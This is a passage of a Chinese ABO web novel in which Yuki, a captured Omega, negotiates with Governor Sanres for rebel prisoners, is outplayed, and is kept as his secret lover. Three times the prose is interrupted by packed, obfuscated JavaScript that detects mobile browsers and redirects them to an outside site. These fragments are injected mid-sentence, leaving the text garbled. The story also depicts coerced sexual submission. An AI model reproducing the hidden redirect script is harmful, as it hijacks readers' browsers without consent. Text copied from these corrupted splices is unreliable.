到处乱飞的子弹和弹过来的弹片不知道什么时候会击中她,而胡桃木咖啡桌也不知道能抵挡多少流弹的侵袭。 恐惧顺着木地板攀上尤纪的脊椎,在后颈的腺体处蓦地变成针扎一样的刺痛。 她浑身僵硬,身体不受控制般地往玻璃砖墙的方向看过去——咖啡馆外迅速集结的黑衣宪兵,像是一只只排列整齐的黑色蚂蚁,无声地威胁着咖啡馆内的人。 不知道为什么,他们居然没有立刻进来帮忙。 电光石火间,尤纪突然想明白了——他们是在等待某个人的命令。 只要那个人一声令下,宪兵们会立刻涌入咖啡馆,将这里面的所有人都射成筛子。 尤纪并没有按照亚历克斯的话来做。 她举起双手,站了起来。 尽管此时浑身发抖,双腿打战,心脏怦怦直跳,但尤纪的头脑却清醒无比。 她的眼睛紧紧地盯着那面玻璃砖墙,口中用蒂亚语说:“我来谈判!格威,你掩护亚历克斯逃走,我帮你救出你的女儿莫莉!” 激烈的交火因为她的话有了短暂的停滞。 格威和亚历克斯在短暂的对视过后,立即趁着宪兵停下来的间隙,以迅雷不及掩耳之势朝着尤纪的方向猛扑而来 “我一个Alpha怎么可能放任Omega单独冒险。”格威动作敏捷地躲进掩体之内。 在接触到尤纪的身体后,他立即攥紧她的手腕,朝着咖啡馆走廊里夺命奔逃:“Omega就应该……” 他的脸上狰狞极了,说出来的话咬牙切齿。 但他并没有说完,门口的宪兵推门而入,朝着奔逃的二人开了一枪。 格威把尤纪扑翻在地,但那枚子弹无比精准地击中了他的后心。 大概有三秒,或者五秒的时间,周围没有任何的声音。 像是电影放映机卡壳了一般,眼前的场景被拆成一帧一帧的画面,在尤纪的眼睛里缓慢播放。 最后,画面定格在他将她扑到在地的一幕。 这一幕像是电影的终幕,那之后,是很闷的一声“噗”。 有什么温热的液体喷溅在了尤纪的脸上。她愣了会儿,才意识到格威中弹了。 空气重新涌入肺里,她像条上岸的鱼一样大口大口地呼吸。 “快跑……” 这是一位Alpha战士发出的遗言。 那个宪兵说的没错,在子弹和枪-炮面前,Alpha的体力优势确实不堪一击。 尤纪并不理解格威为什么要用生命来保护她。 因为反抗军的同伴之情? 还是因为Alpha对Omega与生俱来的保护欲? 她明明对他们隐瞒了那么多重要的消息,他的以命相救却恰到好处地彰显出了她的无耻和卑劣。 在这之前,他甚至从未对她表露过半点善意。 这简直像个低级玩笑。 尤纪想不出格威的动机,但她知道这时候并不是思考这些的时候。 她推开压在自己身上的尸体,颤颤巍巍地站起来,颤抖着声音对潮水般涌入的宪兵们开口。 “已经死了一个帝国人和一个反抗军,请问现在可以坐下来好好谈一下了吗?” 她一直注意着亚历克斯那边的动静,那个戴帽子的宪兵闻言收了枪,但亚历克斯没有收枪,只是复杂地看向尤纪。 “尤纪,你为什么——” 尤纪尖声打断他:“是格威先开枪的!亚利,你赶快走!告诉艾琳谈判继续!快走!” 她的表情扭曲,狰狞得像个承受了巨大痛苦的兽类。 亚历克斯甚至在她的脸上看到了一滴眼泪。 “那个地方……” “我会去的,你快走!”她再次尖叫,“不要转移安德烈!” 亚历克斯浑身一震。 他一瘸一拐地离开,这一次,没有人阻拦,也没有飞来的子弹袭击他的后背。 他穿过黑漆漆的走廊,在拐角处停下来,望了一眼后方仍旧高举双手的尤纪。 那之后,他敲了五下墙壁——这是早就定好的撤离暗号。 走廊的方格天花板移开,上面悄然垂下一条绳索。 亚历克斯将绳索绑在自己的手臂上,拉了拉绳索,就有人将他从上方吊了上去。 这也是早就计划好的撤离路线。 他们不会傻到走后门当帝国的活靶子,要安全离开这个地方得顺着通风管道爬到楼顶上,再从帝国防守最空的地方突围。 “听到交战的声音,我们都想过去帮忙,但是我们如果一走,就没有人接应了。”同伴说。 亚历克斯没有回答他,只是沉声告诉同伴格威的死讯。 “那我们得快点爬了,要发个电报回去把人质转移。”同伴说。 亚历克斯抬手阻止了他:“尤纪还在谈判,先不急着转移,不过据点得撤人了。” 同伴非常不解:“万一她出卖了我们怎么办?” 长达半分钟的沉默过后,亚历克斯才说:“我认为我们应该相信同伴。” 同伴闭上了嘴,手脚并用地开始在通风管道匍匐前行。 麦肯·威尔森手脚并用地爬出咖啡馆吧台。 他的眼镜在翻滚中掉落,此刻枪战停歇,他下意识地到处去找。 这时候,少女清亮的声音响起。 “我要跟总督谈判。”她正不断发抖,却仍旧故作坚定。 “你一个反抗军想要跟总督谈判?” 宪兵们放声大笑,像是听见什么天大的笑话一般,“你以为总督是什么小鱼小虾都可以见到的?” 尤纪并未因为他们的嘲笑而恼怒。 她的声音平静下来,再次重申:“我要跟桑雷斯·贝德福阁下谈判。请告诉他,给我带一瓶苦艾酒。” “他会同意的。” 说完这句话后,尤纪挑了一张还算是完好的椅子坐下来,看着宪兵们全部退出咖啡馆。 刚低下头,她就与趴在地上到处找眼镜的威尔森视线对个正着。 他像条狗一样在地上到处爬——尤纪心中突兀地冒出这个想法。 她怔了下,然后将威尔森扶起来,弯腰捡起他那只遍寻不着的金丝边框眼镜。 自从总督署的那一夜之后,她并未想到会在谈判桌上再见威尔森。 她还没想好要怎么面对这个曾经帮过他的长辈。 尤其是在知道他曾加入反抗军,又背叛了他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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在接下来的谈判中,尤纪不介意为自己再上一道保险丝。 威尔森就是那个保险丝。 “你疯了!”威尔森压低声音,眼球几乎要脱出眼眶,“散布关于帝国皇室的消息对你有什么好处?” 尤纪没有回答他,只是垂下眼帘,观察着胡桃木咖啡桌的纹理走向,指尖轻轻地叩击着桌面。 “阁下,在你说拒绝之前,最好思考一下拒绝的后果。” “我拒绝。”威尔森沉声说。 “那我就把你加入过反抗军的事情告诉总督。”尤纪慢吞吞地说出威胁。 不得不说反抗军真的是个很好的教学场所。 她在实战中学会了许多以前绝不会想到的下作手段——给他一个无法拒绝的理由。 看到威尔森脸上露出一种混合了震惊、骇然和恐惧的表情后,尤纪知道自己猜对了。 “你在说什么?我什么时候说过——你得拿出证据来!” 大概是刚才的枪战让他大脑停止转动,又或者是尤纪的话击穿了他的心理防线,威尔森再无法控制自己的表情。 他脸上的肌肉抖动,连否认的声音都变得颤抖。 “不需要其他的证据,任何反抗军的一句话都会置你于死地,”尤纪目光怜悯,“事实上,你一无所知地参加这场谈判,已经代表着你被帝国抛弃了。” 威尔森急促地呼吸起来。他不敢相信尤纪居然会恩将仇报。 “为什么要这样做?!”他的声音尖利得不像一个Beta男性。 尤纪温和地看向他,语气恭敬而真诚:“威尔森先生,我也不喜欢毫无意义的流血。我想,我们以后会有非常多的合作机会。” “毕竟叛徒之间是有共同语言的。” 30. 再见桑雷斯 时隔多日,尤纪再次进入那个噩梦一般的总督署。 办公室和上次见过的一样,绛红色的丝绒沙发、长条玻璃茶几、整面墙的书柜和燃着炭火的壁炉。 就连茶几上拿瓶帝国产的红酒也像是从未砸碎过一般,完好地摆在原处。 桑雷斯也和上次见过的一样,身穿暗绿色的西服,银灰色的长发披散肩头,手上戴着黑色的皮革手套,手中握着只钢笔。 他还在易感期,轻微的苦艾气味让尤纪立刻回想起那个下着暴雨的晚上。 她后颈的腺体感受到一些刺痒。 唯一不同的是尤纪自己。 她手握筹码,终于有了和总督谈判的资本。 想到这里,她捏紧了拳头。 听见了来人的脚步声,桑雷斯从文件里抬起头,用那双阴鸷而锐利的眼睛盯着Omega少女轻巧的脚步。 “听说你要见我,”他看了一眼手表,说了和上次一模一样的开场白,“给你十五分钟。” 尤纪走到书桌面前,踮起脚,双手撑在桌面上,身体前倾,尽可能地距桑雷斯更近:“总督阁下,您曾经说‘我没有资本和您谈条件’。” 她盯着他的眼睛,看清他冰蓝色的瞳孔里放射状的纹理。 “我之前确实没有资格,但现在我有了。” 桑雷斯·贝德福抬起眼帘。 他的目光落在尤纪的脸上,然后是她的穿着。 她穿着一件并不合身的男式衬衫,袖口挽起来,露出细细的一截手腕。 裤子也很肥大,用一根腰带紧紧束在腰上,让她显得像是个偷穿大人衣服的小孩。 “说说看,一个新人类老鼠会有什么资本?”桑雷斯冰冷的目光里带着审视和考量。 如果是以前,尤纪会因为这样的侮辱性语言而暗中恼怒,却并不敢真正地攻击他。 但现在不同,十分不同——她清楚自己手中筹码的分量。 于是尤纪毫不客气地开始了她的反击。 “在您说我是‘新人类老鼠’之前,别忘了您也是一位新人类——甚至是一位无法标记Omega的混血儿。” “这意味着您无法真正拥有一个伴侣,无法拥有后代,无法像一个真正的Alpha那样……” 这简直是挑衅。 没有任何一个Alpha会容忍这样的挑衅。 但桑雷斯并没有发怒。 他忍住了尤纪的挑衅,面不改色地取出一只拇指粗细的雪茄,用雪茄剪在茄帽上剪出一个漂亮的v形小口。 他大拇指弹开打火机盖,波动滚轮,一簇火苗从中窜出来,很快将雪茄点燃。 烟雾弥漫在二人之间,明明已经模糊了他线条分明的轮廓,却更衬出他冷硬而锋利的气质。 “激怒我没有用,说点别的,比如你怎么把我愚蠢的弟弟骗去反抗军的。”他这才看向尤纪,提出他的疑问。 他的无动于衷,反而激怒了尤纪。 她不喜欢烟味,尤其是雪茄,那股味道闻起来像是什么烧焦的皮革。 “我在去特殊监狱的路上遇见了兰德尔殿下。他开车带走了我,但中途他因为伤口感染晕了过去,我就把他带回了我家,为他治伤……在被反抗军抓走的时候,我一直称呼他为安德烈校尉。” 这是个漏洞百出的解释,但桑雷斯并没有戳穿她的谎言。 “嗯,还有吗?”他吸了一口雪茄,上身靠倒在座椅上,是有些放松的姿势。 这个姿势将二人间的距离拉得远了些,尤纪看不清他的表情,只从缓缓上升的烟雾里看到他嘴角若有若无的笑。 他在笑什么? 尤纪用手掌拍了一下桌子。 “在反抗军中,我也掩护他假扮安德烈。阁下,我保住了帝国皇室的尊严,这个人情您得还。” “对于您的秘密,我同样没有透露分毫,这个人情,您也得还。” “只是还人情?”他分外悠闲吐出一口烟圈。 “不止,我知道兰德尔殿下目前在哪里,他目前很安全,只是被关在一个很偏僻的地方,我可以带您救回他。” “您并未出动大规模的军事行动来营救他——这说明您并不想让这个消息传到帝国。” “我可以帮您解决关于他的所有麻烦,而您只需要释放二十个反抗军的囚徒。当然,包含我哥哥在内。” “同时,还需要您准备两张船票和一笔现金,让我和我哥哥可以安全地、秘密地前往联邦,我保证所有的秘密都会烂在肚子里。” 壁炉里的火烧得旺,尤纪一口气将所有的条件说完。 她说得口干舌燥,不由自主地舔了一下有点开裂的嘴唇,眼睛却紧紧盯着他的脸,试图从他的表情里看出些什么。 但尤纪失望了。 桑雷斯并没有什么反应,他没有拒绝也没有同意,只是从书桌的柜子中拿出一瓶青绿色的方形酒瓶,拧开瓶盖,把酒液倒入水晶杯里。 苦艾的浓烈气味瞬间充盈在整个办公室内,让人分不清是信息素的味道还是酒的味道。 而他的语气出人意料地温和:“你要的苦艾酒。这个酒平时没人喝,地窖里也没存,只好让其他人从市场上买,可能口味不太符合你的喜好。” 蒂亚区总督亲自给她倒酒? 放在任何人的身上都是天大的殊荣。 “不喜欢吗?那你想喝什么?”桑雷斯甚至贴心地问她。 但尤纪盯着玻璃杯中晃动着的青绿涟漪,心中的愤怒越烧越旺。 他简直毫无谈判的诚意! 愤怒烧毁了理智,她将面前的水晶杯扫到地上。 酒杯并没有碎,但杯中淡绿色的酒液渗入长毛地毯,很快洇湿一大片。 “贝德福阁下,如果此次谈判破裂,我无法保证帝国第三继承人是否还能回到总督署。毕竟,七点钟之后他将被转移到一个我也不知道的地方。” “而我过来谈判,当然也会为自己上一道保险丝——如果谈判破裂,您想要掩盖的所有秘密,将会迅速地传遍整个蒂亚!” 少女的语调越来越高,语速也越来越快,胸膛剧烈起伏,到最后几乎破音。 “而您需要付出的,只是释放二十个囚犯!天底下哪里找得到这么划算的买卖!” 银发总督十分有耐心地听完了尤纪的所有讲话。 他坐在黑色皮革座椅上,像一座冰冷而坚硬的大理石雕像。银灰色的发丝垂在的肩头,给这座雕像增添了神秘的美感。 等到她激动的情绪平复下来之后,他才平静地开口。 “你不是反抗军派来的谈判人员,你只是他们的翻译。尤纪,你是个没有任何谈判技巧的,莽 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尤纪打兰德尔打得顺手,看到那张相似的脸,心中一怒,居然想也不想就扇了过去。 她打完后才反应过来,眼前的人是桑雷斯,而不是他那个愚蠢的弟弟。 “尤纪,你年轻气盛,心高气傲,没有学过谈判的技巧……原本这些都是可以原谅的。” 愠怒过后,银发总督摸着颈侧的抑制贴片,古怪地笑了一下。 “但你刚才犯了第四个错误。” 他没有继续说,但是他的动作充满了暗示性。 尤纪牙齿咬得咯咯作响。 桑雷斯一点一点将她的错误指出来,那些即将胜利的喜悦早就褪得干干净净,只剩下满心的惊惧。 是的,如他所言,她确实是……愚蠢。 怎么办?他无疑是想救他弟弟的。 但是如他所说的那样,她已经没有其他的筹码了。 她甚至还扇了他一巴掌。 接下来还应该怎么谈? 她只能瞪着他不说话,等待他开出来的条件。 “现在,你应该做的就是说实话,告诉我……你到底怎么把兰德尔那个蠢货弄到反抗军里面去的?” 桑雷斯保持着身体紧贴的姿势,伸出一只手,缓缓抚摸尤纪的脸。 皮革的质感在光滑细腻的脸颊上掠过,越来越浓烈的苦艾味道侵袭她身上的每一寸皮肤。 “十五个人,包括我哥哥在内,”尤纪哑着声音开口,“我就告诉你兰德尔是怎么到反抗军那里的,并且带你们把他救出来。” 皮革手套的动作顿了一下,似乎没有想到她竟然能在这种状况下开始讨价还价。 “我收回之前的话,”桑雷斯放开尤纪,退回到座椅上,已经换了一副正色的姿态,“你学得很快。” 正当尤纪松了一口气,摆出了谈判的架势时,桑雷斯的下一句话如惊雷炸响,完全打乱了了她好不容易才整理好的思绪。 “但我忘了告诉你,你有个卖面包的邻居,为了三万块,卖了一些消息给我。” 窗外又下起了雨。 蒂亚的雨季漫长得仿佛没有尽头。 31. 第一卷(完) 在反抗军中,尤纪只学会了威胁和强迫,但这一招在桑雷斯这里行不通。 她的筹码已经用完了,而桑雷斯才刚刚将他的牌亮出来。 这简直是个无解的死局。 被他牵着鼻子走,最后被迫以一个极其低廉价码,卖出他急需得到的东西? 这绝不是她想要的结果。 而且,他到底从旺吉太太那里知道了些什么?他没有马上透露,是否还意味着尚有转圜的余地? 尤纪深深地吸了一口气,将苦艾、烟草和酒精的味道吸入肺里。 她强压下后颈腺体的刺痒,低着头,用蒂亚传统的致歉姿态开始弥补自己犯下的第一个错误。 “总督阁下,关于您的身份问题,都是我自己的无端揣测,我不该用您的身体隐私来威胁您,我向您道歉。” “同时,我也保证,我绝不会任何人泄露您的秘密,不管是从前、现在还是未来。” 银发总督并未对尤纪的话做出任何评价。他平静地凝视着她,等待她接下来的话。 尤纪咬了咬牙。 就在刚刚,她突然想到自己或许还有点别的筹码。 “阁下,我犯下的第二个错误,我想我也有弥补的机会,”她盯着他的眼睛,慢吞吞地说,“对于爆炸案的真相,我刚好从反抗军中得知了一些别的消息。” 在看到桑雷斯的睫毛微动之后,尤纪知道自己赌对了。 他对爆炸案的真相感兴趣。 “你知道些什么?”他开口问他。 尤纪低头在纸上写了五个名字,推到对面,随后盯着桑雷斯不说话。 有时候不说话比说话好用。 银发总督提笔划掉了其中一个名字,又将纸推回给尤纪。 “换一个人,你哥哥暂时不能释放。”他说。 只是一个爆炸案的消息,就能换五个人?尤纪有些难以置信。 虽然连弛的名字暂时不在其中,但她能看出来,这已经是很大的让步。 尤纪立即在这上面补上了莫莉。格威为了救她而死,他的女儿应该得到回报。 “那我需要您签署一份他们的特赦令,将他们从通缉名单中去除。”尤纪抬起头,开始讨价还价。 既然连弛不能被释放,他总应该做点别的来补偿。 桑雷斯轻轻敲击了一下桌面,提醒尤纪不要得寸进尺。 要求被拒绝,尤纪也并未气馁。 “一个参与爆炸案的反抗军成员说,他们当天带的炸-药只够炸毁两座副塔,而通讯塔主塔那里,他们还没放炸-药,就已经被炸毁并塌陷了一个巨坑……这说明那天还有另一方势力的参与。” 这个消息的含金量并不高,尤纪只能非常诚恳地补上一句:“我只知道这么多,关于另一方势力的相关消息,就需要您出动宪兵队去调查了。” 想象中的暴怒并未到来,桑雷斯也没有因此而撤回释放人质的决定,就仿佛这个消息早就在他的意料之中。 相反地,他甚至对尤纪微笑了一下。 “那么开始弥补你的第三个错误吧——解释一下你和反抗军的关系。” 桑雷斯的态度和之前完全不同,这让尤纪感到惊讶。 是什么导致了他的转变? 猛然间,一个念头在她的脑海中闪过。 她正在尽力地弥补自己犯下地错误,刚好契合了他说的那句“原本这些都是可以原谅的”。 尤纪并不知道他从旺吉太太那里掌握了多少消息,但她知道自己最好不要撒谎。 “我在去特殊监狱的路上遇见了兰德尔殿下,他开车带走了我。”这句话还是和之前说过的一样。 “我告诉他,我家中可能有一些爆炸案的线索,所以他开车去了我家。但是在我家中,他因为伤口感染晕了过去……当时是中午,我去找旺吉太太买面包,顺便拿了一些治疗外伤的药物,还向她请教了怎么缝合伤口。” 说完这句话,她悄悄抬眼看了一眼桑雷斯。她确实并未说谎,只是隐去了一些重要事实。 他并未打断她。 反抗军的帮助犯是要上绞刑架的,旺吉太太应该不会那么愚蠢地为了三万块交代所有的事情。 于是尤纪继续开口:“我刚给兰德尔殿下缝合完伤口,平民街就出现了一起混乱……应该是兰德尔殿下的发色引起了注意,那之后我们就被反抗军带走了。” “加入反抗军也并非我自愿的!他们拿枪逼着我,让我杀了一个帝国人,而且还当着兰德尔殿下的面……这个把柄在他们手里,我只能被迫加入反抗军。” “反抗军新首领的助理叫亚历克斯,是个Beta,他是我童年时候的邻居。他从小就喜欢我,还说要帮我救出我哥哥……同时,为了保护兰德尔殿下,我只能和他周旋……但是我并未和他们任何一个人发生过肉-体关系!” “总督阁下,请您相信我!” 说完这一切后,尤纪咬着下唇,诚恳而真切地望向桑雷斯。 他要顺从,那她就顺从。 她必须将辩解的重点放在保护兰德尔和没有发生肉-体关系上。 桑雷斯唇边的笑意更深了。 “你说你是被迫加入的,那你需要解释一下——释放反抗军的人,对你又有什么好处?” 这是个非常尖锐的问题,桑雷斯正在质疑她的立场。 如果她只想救出连弛,又为什么要帮着反抗军谈判? 她完全可以向桑雷斯献上忠诚,用兰德尔的下落来换取哥哥的平安出狱。 尤纪知道自己的答案并不符合他的期待,但她也只能这样说:“在平民街咖啡馆里,有一个反抗军为了保护我……” 话还未说完,桑雷斯就已经打断了她。 十五分钟到了,他失去所有的耐心,终于把他手里的筹码全部放在了桌面上。 “旺吉是反抗军的同党,她帮助反抗军运送过一批数量不小的医疗用品。而这些医疗用品的来源,是你那个开黑市的哥哥。” 尤纪的脑子里仿佛是惊雷炸响。 他知道了,他知道所有! 她正疯狂地想着应对的办法,但桑雷斯不会再给她思考的时间。 “反抗军把你哥哥加入人质交换的名单,是因为他们想跟你哥哥深度合作。” 银发总督撕开颈侧的抑制贴,将她面容上的惊惧和慌张一览无遗。 “你让反抗军制造一场混乱,想借此取得兰德尔的信任,但是你没想到他们把兰德尔和你一起带走……这是你战略上的失误,你太过于轻信他人。” “但你能在这样的逆境里取得反抗军的信任,还能前往总督署谈判……现在,告诉我,为什么要帮他们谈判?” 尤纪无法回答。 抑制剂失效的感觉比从前来得要猛,这是蒂亚国产抑制剂的普遍缺陷。 苦艾味的信息素淹没了她,她头皮紧绷,寒毛直竖,心中已经生出放弃谈判、赶紧逃离的念头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355731|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 银发总督轻轻“呵”了一声。 “没办法说话了吗?那我帮你回答——你想两头下注,”他的话语里有惊叹,有赞赏,还藏着一些说不清道不明的情绪,“哪边能给你带来利益,你就站在哪边。” “你是个投机分子,或者说……天生的政客。” 尤纪双腿发软,双手撑着桌面勉强站立,嘴边扯出一个比哭还难看的笑容。 “既然您知晓一切,又为什么要说这么多?您的时间比所有人都宝贵,为什么不直接提出您的价码?” 她真是恨透了被当作老鼠一样愚弄的自己。 桑雷斯并没有回答,只是坐在座位上招手,示意尤纪过去。 尤纪别无选择。 她扶着红木长桌的边缘,踉踉跄跄地朝他走过去。 在离桑雷斯还有几步远的距离,她膝盖一软。 在身体接触到地毯之前,一双戴着皮革手套的手接住了她。 天旋地转,再回神时,尤纪已经背对着坐在了桑雷斯的大腿上。 他的一只手揽住她的腰,另一只手已经褪下手套,粗糙的指腹正徐徐擦过她后颈的腺体。 “上一次我说了什么,你还记得吗?”他哑声问。 尤纪当然不记得。 那样的屈辱她恨不得一辈子都记不起来。 “我可以帮你回忆。”桑雷斯加重了手上的力度,一点一点加重按压后颈腺体的力度。 尤纪浑身泛起鸡皮疙瘩,拼命地想要挣脱,但她的身体并不听从大脑的指挥,弓得像只煮熟的虾,硬是将脖子往他的手上凑,克制不住地想要渴-求更多。 “好孩子……”对于尤纪的反应,桑雷斯非常满意。 他的呼吸拂过她的耳畔,声音很轻:“现在记起来了吗?” 顺从。他要她的顺从。 顺从桑雷斯并不是一件很难的事情,但他要她心甘情愿的顺从。 尤纪并不愿意,她厌恶关于他的一切。 但是现在,她可以顺从自己身体的感受。 她闭上眼睛,在银发总督的怀里翻了个身,主动将下巴搁到他的肩窝上, “我顺从您,”尤纪的嘴唇轻轻擦过他的耳垂,“我接受您开出的任何条件。” 桑雷斯并没有强迫她。 或者说他不屑这样强迫的手段。 但尤纪仍旧走上了他为她预设的道路。 回应她的是桑雷斯的吻,他的唇舌比之前要热烈,快要将尤纪整个人吞没。 一吻之后,他捏着尤纪的下巴,强迫她睁开隐有泪光的眼睛:“我可以释放一些反抗军叛党,但你哥哥得转去普通监狱。” “好孩子,现在告诉我,兰德尔在哪?” 天色完全黑了。 钟摆摆动了六次,十个关押在特殊监狱的反抗军成员被秘密释放。 他们被一辆运兵车送到某个街区,接应的反抗军成员和运兵的帝国宪兵之间发生了一场激烈的枪-战。 在这场枪-战中,反抗军死亡两人,宪兵死亡一人,剩余的反抗军掩护同伴撤入狭窄的街巷内。 他们像是游入大海的鱼,再也无法找到踪迹。 与此同时,一个针对反抗军乌尔山据点的军-事武-装行动正式启动。 多架三翼战-斗-机从蒂亚首都的上空飞过,轰鸣尖啸声几乎摧毁所有人的耳朵。 听到这个动静的还有麦肯·威尔森。 他松了一口气。 32. 十发十环 潮湿的雨季几乎要让所有东西都发霉。 来蒂亚区工作的三年里,每逢雨季,露丝·艾尔都会处理一大批发霉的家具。 今年以来处理的家具比往年都要多,尤其是在那位新人类小姐住进来之后。 推开房门,果不其然,房间内又是一地狼藉。 她叹了口气。 艾尔原本应当为总督找到了伴侣而高兴——前提是如果那位伴侣小姐不那么爱砸东西的话。 十天前她扯烂了一条珍珠项链,三天前砸坏了一个黄金挂钟,今天则是砸烂了一面穿衣镜。 这面穿衣镜价值不菲,象牙底座,紫檀木镜框,红宝石、蓝宝石、翡翠镶嵌在镜框上,把穿衣镜堆积成繁复华丽的艺术品。 它原本属于蒂亚国的王后,蒂亚投降后,他们都成为了总督的战利品。 那位新人类小姐还躺在床上,丝绸被子里露出一截被掐出红痕的手臂,谁都能想到昨夜又发生了争吵或者是别的什么。 她看起来很疲惫,但艾尔别无他法,只能拉开窗帘让更多的光线进入室内,期待她自己醒来。 尤纪睁开眼睛,发现天已经亮了。 她看了一眼墙上新挂上去的钟,发现已经上午九点。 艾尔站在床边,等着她起床洗漱。 尤纪掀开被子。 她知道今天吃完早餐后仍旧是要上礼仪课。 礼仪课,这该死的礼仪课。 真不知道那些贵族到底是出于什么目的才发明了这么繁琐的礼仪。 为什么鱼叉、牡蛎叉、沙拉叉长得都不一样?为什么汤匙由内向外舀? 尤纪记得艾尔讲过,但是她忘了。 她不想把自己的脑子装满这些没用的东西。 但她别无选择。 总督喜欢这些东西。 而她现在的身份是总督养在别墅中的秘密情人。 “小姐,请问您听懂了吗?”艾尔站在用来教学的餐桌前,面无表情地问尤纪,“用餐途中暂时停下去喝水或与邻座交谈时,一位淑女应该怎么做?” 尤纪回答她:“应将刀叉呈八字形放在餐盘上,刀刃朝内,叉齿朝下。” 她说完就把手中的餐具像回答那样摆放。 淑女? 为什么总督要把她教成一个淑女? 哦,因为他喜欢顺从的Omega,这是出自他个人的喜好。 小时候,尤纪的母亲也想把她培养成一个淑女,但她一直都学不好,家里也没想让她进入上流社会。 不过现在谈什么上流社会都已经过时了。 蒂亚沦陷了,现在的上等人是帝国人,哪怕一个来自帝国的混混都比蒂亚的原住民要高贵。 其次是蒂亚的人类。 蒂亚的人类可以在政-府部门工作,每天对着打字机敲几个字,装模作样地在报纸上发表一些意见,就可以轻轻松松地拿到高薪水。 他们也可以经商,每天和金钱打交道,虽然被骂“满身铜臭”,但仍旧吃喝不愁。 新人类是最低等的。 要么去工厂忍受高温和噪音,要么去建筑工地、下水道从事体力劳动,要么就成为反抗军的一员,过着朝不保夕的生活。 但,凭什么? 凭什么因为一场太阳辐射,就可以把人类重新划分为两个种族? 凭什么新人类就要被歧视,而人类就可以保持高贵? “新”明明是个好字。 帝国又为什么要故意制造这样的歧视链,改变新人类原来的生活? 学校里没有教这些。 沦为蒂亚区之后,原本的教育方案被改写,现在的学校只会教规则和知识,而不教人思考。 每个孩子从踏入学校的那一刻起,就被灌输着这样的思想。 蒂亚国原有的历史成为选修课,现在的学生都在学习帝国的历史。 帝国语成为所有年级的必修课。 听说在小学里,有一半的课程都使用帝国语教学。 蒂亚的文字、语言和历史正在消亡。 教育是一个国家的未来,当国家沦亡的时候,它就成为了占领者的工具。 从前的尤纪只会被动接受,但现在的尤纪想知道原因。 艾尔问她:“一位淑女应该怎么优雅地食用水果和奶酪?” 尤纪没说话。 她想,或许是在反抗军中被影响了。 那场欢迎仪式的前奏实在是动人心魄。 虽然他们不是什么好人,手段拙劣、制造冲突、加深矛盾,被普通民众称为暴徒。 但平等、自由和解放确实是他们的追求的口号。 仇恨蒙蔽了他们的眼睛,把他们变成了一台只知道杀-戮的机器。 陆维亚死了,艾琳接替了她的位置。 然后格威要挑战她,菲欧娜要架空她,亚历克斯在背后操控她。 尤纪忍不住想,如果她是首领,她会怎么消除组织内的矛盾,带着他们真正地走上一条正确的道路? 她有点后悔没有跟亚历克斯探讨更深入的东西。 现在的她需要一位老师来解答这些疑惑。 见尤纪没反应,艾尔回答了自己的话:“奶酪用专用刀从中心向边缘切,取一小块放在面包或饼干上。葡萄整颗放入口中,籽要吐在握紧的拳头里,再转移到餐盘边缘。” 尤纪站起身,没有理会艾尔。 她摘下一直戴着的白色蕾丝手套,掀翻了面前的桌子,自顾自地走了出去。 露丝·艾尔连骂她都做不到。 她生来是个有姓氏的贵族,即使落魄到给总督当管家,也做不来破口大骂这种事。 淑女要优雅、高贵,有涵养。 因为那是刻进淑女骨子里的教养。她只能将不满和怒气憋在心中,继续礼貌对待他人。 尤纪没有姓氏,她不需要,也不想做一个淑女。 出了别墅后,尤纪走进后院。 三米高的围墙将整座别墅包围,她双手抱着膝盖,坐在墙根下淋雨,望着远处的蒂亚女神像发呆。 在恍然之间,她发现自己正与连弛处于同样的处境。 她是监狱中的囚犯,而露丝·艾尔是管家,也是看管她的狱警。 桑雷斯每晚都来,有时候很晚,一开始她会做噩梦,后来竟已经习惯了他的体温。 但除了床上的交流之外,他们的关系几乎可以用冷淡来形容。 每一次床上运动之后,她都会提出见连弛的请求。无一例外地都被拒绝。 一切的外界消息都被隔绝。 艾尔只会教导她贵族的礼仪,围墙外守着的两个宪兵则不会跟她说任何话。 她现在唯一的消息来源是桑雷斯,但他不会告诉她任何消息。 尤纪不知道亚历克斯怎么样了,不知道他有没有改变反抗军,也不知道连弛在普通监狱里的生活是什么样子。 时间的流逝变得缓慢,感官也逐渐迟钝。 她变得像一件供桑雷斯渡过易感期的物品,跟这座别墅里的那些木质家具一样在雨季里发霉腐烂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366967|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他将她关起来的目的是什么? 他想要她的顺从?因为他喜欢顺从的淑女,所以要将她朝着那个模版去改造? 尤纪根本不相信,把头埋进膝盖间,任由细雨把全身淋湿。 他是个恶魔,没有人会想要一个恶魔的喜欢。 飘洒的细雨突然停了,尤纪抬起头,才发现是艾尔。 她撑着一把伞,快要挂不住嘴角的微笑:“一位淑女是绝不会坐在地上淋雨的,尤纪小姐,起来。” 尤纪没理她,继续双手抱膝。 艾尔简直像个阴魂不散的鬼魂,苦口婆心地劝慰:“总督很在意你,每天都给你送来珠宝、首饰和华丽的服装,他对你的唯一要求就是成为一个淑女。”。 尤纪冷笑了一下。 如果他真的在意她,就会把连弛从监狱里放出来,而不是继续关押他。 说到底,他也只是害怕他的秘密暴露。 